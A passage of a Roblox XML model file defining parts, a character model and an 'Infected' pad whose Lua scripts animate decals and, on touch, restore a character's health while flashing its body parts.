				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">0</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="SpecialMesh" referent="RBX70">
				<Properties>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><null></null></Content>
					<token name="MeshType">3</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>2</X>
						<Y>2</Y>
						<Z>2</Z>
					</Vector3>
					<Content name="TextureId"><null></null></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX71">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">noob</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX72">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">24</int>
					<CoordinateFrame name="CFrame">
						<X>-7.49996948</X>
						<Y>6.69984484</Y>
						<Z>28.4999981</Z>
						<R00>8.12741855e-005</R00>
						<R01>-0.0749315917</R01>
						<R02>0.997188628</R02>
						<R10>-0.000125117687</R10>
						<R11>0.997188628</R11>
						<R12>0.0749315992</R12>
						<R20>-1</R20>
						<R21>-0.000130855944</R21>
						<R22>7.16704308e-005</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.0352997035</X>
						<Y>-0.120670609</Y>
						<Z>-0.0478122681</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.00422047637</X>
						<Y>0.0388981439</Y>
						<Z>0.0933725312</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX73">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">23</int>
					<CoordinateFrame name="CFrame">
						<X>-7.5</X>
						<Y>6.70007181</Y>
						<Z>29.9999981</Z>
						<R00>-2.90565895e-005</R00>
						<R01>-0.0444188491</R01>
						<R02>-0.999013007</R02>
						<R10>4.4577504e-005</R10>
						<R11>0.999013007</R11>
						<R12>-0.0444188453</R12>
						<R20>1</R20>
						<R21>-4.58241666e-005</R21>
						<R22>-2.70478267e-005</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">6</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">6</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.0290197767</X>
						<Y>0.00253583281</Y>
						<Z>-0.00713461637</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">6</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0.0319204889</X>
						<Y>0.00551025942</Y>
						<Z>-0.174552679</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>2</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX74">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">24</int>
					<CoordinateFrame name="CFrame">
						<X>-7.56661224</X>
						<Y>8.19843769</Y>
						<Z>29.9999409</Z>
						<R00>-0.997515857</R00>
						<R01>-0.0444038287</R01>
						<R02>0.0546842255</R02>
						<R10>-0.0443378799</R10>
						<R11>0.999013662</R11>
						<R12>0.0024190913</R12>
						<R20>-0.0547377095</R20>
						<R21>-1.15007761e-005</R21>
						<R22>-0.998500764</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Head</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.0738943815</X>
						<Y>-0.000140966717</Y>
						<Z>0.0686723515</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0.011262903</X>
						<Y>0.0426842757</Y>
						<Z>-0.233880267</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX75">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">0</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.25</X>
							<Y>1.25</Y>
							<Z>1.25</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Decal" referent="RBX76">
					<Properties>
						<token name="Face">0</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=2156581</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX77">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">119</int>
					<CoordinateFrame name="CFrame">
						<X>-7.4111557</X>
						<Y>4.70239115</Y>
						<Z>30.5001068</Z>
						<R00>-1.55062171e-005</R00>
						<R01>-0.0443040468</R01>
						<R02>0.999018073</R02>
						<R10>-6.03393819e-005</R10>
						<R11>0.999018073</R11>
						<R12>0.0443040431</R12>
						<R20>-1</R20>
						<R21>-5.95931451e-005</R21>
						<R22>-1.81642699e-005</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">6</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX78">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">24</int>
					<CoordinateFrame name="CFrame">
						<X>-7.5</X>
						<Y>6.70000029</Y>
						<Z>31.5</Z>
						<R00>-0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>-0.0505230539</X>
						<Y>0.199090034</Y>
						<Z>-0.0144402953</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.0026796821</X>
						<Y>0.00206842902</Y>
						<Z>0.0886698514</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX79">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">119</int>
					<CoordinateFrame name="CFrame">
						<X>-7.41117096</X>
						<Y>4.70233011</Y>
						<Z>29.5001087</Z>
						<R00>-1.55062171e-005</R00>
						<R01>-0.0443040468</R01>
						<R02>0.999018073</R02>
						<R10>-6.03393819e-005</R10>
						<R11>0.999018073</R11>
						<R12>0.0443040431</R12>
						<R20>-1</R20>
						<R21>-5.95931451e-005</R21>
						<R22>-1.81642699e-005</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">6</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Humanoid" referent="RBX80">
				<Properties>
					<float name="Health">0</float>
					<float name="MaxHealth">100</float>
					<string name="Name">Humanoid</string>
					<float name="WalkSpeed">16</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX81">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-7.19999981</X>
					<Y>5.60000038</Y>
					<Z>27</Z>
					<R00>-0</R00>
					<R01>-1</R01>
					<R02>-0</R02>
					<R10>-1</R10>
					<R11>-0</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>-0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Infected</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">9</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>0.400000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="Script" referent="RBX82">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX83">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">udcr5c0u3</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX84">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX85">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">iyfy2r</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX86">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX87">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">9sim</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Decal" referent="RBX88">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal2</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX89">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">ejg7aef</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="BlockMesh" referent="RBX90">
				<Properties>
					<float name="Bevel">0</float>
					<float name="Bevel Roundness">0</float>
					<float name="Bulge">0</float>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>1</X>
						<Y>0</Y>
						<Z>5</Z>
					</Vector3>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX91">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">vh4np</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX92">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Script</string>
					<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
